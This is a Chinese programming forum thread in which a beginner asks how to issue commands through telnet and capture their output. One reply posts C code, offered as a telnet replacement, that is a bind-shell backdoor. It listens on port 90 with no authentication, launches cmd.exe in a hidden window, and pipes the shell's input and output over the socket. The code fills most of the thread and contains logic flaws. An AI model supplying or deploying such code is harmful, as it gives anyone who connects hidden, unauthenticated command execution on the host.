关于创建管道读取telnet下命令传回值的问题

[gemmo]

我使用
CreatePipe(&hRead,&hWrite,&sa,0)
CreateProcess(NULL,cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi)
ReadFile(hRead,buffer,4095,&bytesRead,NULL)
可以在cmd内下一条简单的命令并获取他的返回值。
但是我现在需要在telnet远程连接另外一台电脑后，在telnet 192.168.0.3(目标电脑IP)这个窗口上下命令并获取返回值，请问要怎么做啊。是不是修改CreateProcess的参数，获取当前已经存在的telnet进程啊？如果是，参数怎么设定啊。
新手，分少请见谅～

[smwhotjay]

这就要socket了. 绑定sock.而不是pipe

[Eleven]

http://blog.csdn.net/visualeleven/article/details/6365366
参考这个

[MoXiaoRab]

那你还是用Socket来实现Telnet吧。

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOCKET ClientSocket = INVALID_SOCKET;
HANDLE hReadPipe, hWritePipe, hWriteFile, hReadFile;
u_char varA,varB;

DWORD WINAPI ThreadFuncA( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD nByteToWrite, nByteWritten;
char recv_buff[1024];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;
CreatePipe(&hReadPipe,
&hWriteFile,
&pipeattr,
0);

varA = 1;
while(true)
{
Sleep(250);
nByteToWrite = recv(ClientSocket,recv_buff,1024,0);
WriteFile(hWriteFile,recv_buff,nByteToWrite,&nByteWritten,NULL);
}
return 0;
}

DWORD WINAPI ThreadFuncB( LPVOID lpParam )
{
SECURITY_ATTRIBUTES pipeattr;
DWORD len;
char send_buff[25000];

pipeattr.nLength = sizeof(SECURITY_ATTRIBUTES);
pipeattr.lpSecurityDescriptor = NULL;
pipeattr.bInheritHandle = TRUE;

CreatePipe(&hReadFile,&hWritePipe,&pipeattr,0);

varB = 1;
while (true)
{
ReadFile(hReadFile,send_buff,25000,&len,NULL);

send(ClientSocket,send_buff,len,0);
}
return 0;
}

void Enter(void)
{
WSADATA WSAData;
struct sockaddr_in RemoteAddr;

DWORD dwThreadIdA,dwThreadIdB,dwThreadParam=0;
OSVERSIONINFO osvi;
PROCESS_INFORMATION processinfo;
STARTUPINFO startinfo;

WSAStartup(MAKEWORD(2,2),&WSAData);
ServerSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
RemoteAddr.sin_family = AF_INET;
RemoteAddr.sin_port = htons(PORT);
RemoteAddr.sin_addr.S_un.S_addr = INADDR_ANY;

bind(ServerSocket,(LPSOCKADDR)&RemoteAddr,sizeof(RemoteAddr));
listen(ServerSocket, 5);

varA = 0;
varB = 0;
CreateThread(NULL, 0, ThreadFuncA, NULL, 0, &dwThreadIdA);
CreateThread(NULL, 0, ThreadFuncB, NULL, 0, &dwThreadIdB);

do{
       Sleep(250);
}while((varA || varB) == 0);

GetStartupInfo(&startinfo);
startinfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput = hReadPipe;
startinfo.hStdError = hWritePipe;
startinfo.hStdOutput = hWritePipe;
startinfo.wShowWindow = SW_HIDE;

osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);

GetVersionEx(&osvi);
char szAPP[256];
GetSystemDirectory(szAPP,MAX_PATH+1);

if(osvi.dwPlatformId == 2)
{
strcat(szAPP,"\\cmd.exe");
if (CreateProcess(szAPP, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &startinfo,&processinfo) == 0)
{

return;
}
}
else
{
strcat(szAPP,"\\command.exe");
CreateProcess(NULL,szAPP,0,0,true,0,0,0,&startinfo,&processinfo);
}

while (true)
{
       ClientSocket = accept(ServerSocket, NULL, NULL);
Sleep(250);
}
}

[wildwild1]

回复拿个分去发帖 55555555555555555555

[gemmo]

[Quote=引用 3 楼 tr0j4n 的回复:]
那你还是用Socket来实现Telnet吧。

C/C++ code

#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "kernel32.lib")

#define PORT 90

SOCKET ServerSocket = INVALID_SOCKET;
SOC……
[/Quote]
能帮忙解释下每个函数的作用么= =。我是小菜啊。

[gemmo]

[Quote=引用 2 楼 visualeleven 的回复:]
http://blog.csdn.net/visualeleven/article/details/6365366
参考这个
[/Quote]
我现在就是用的这个方法，无法对已经存在的cmd或者telnet窗口下命令获取返回值。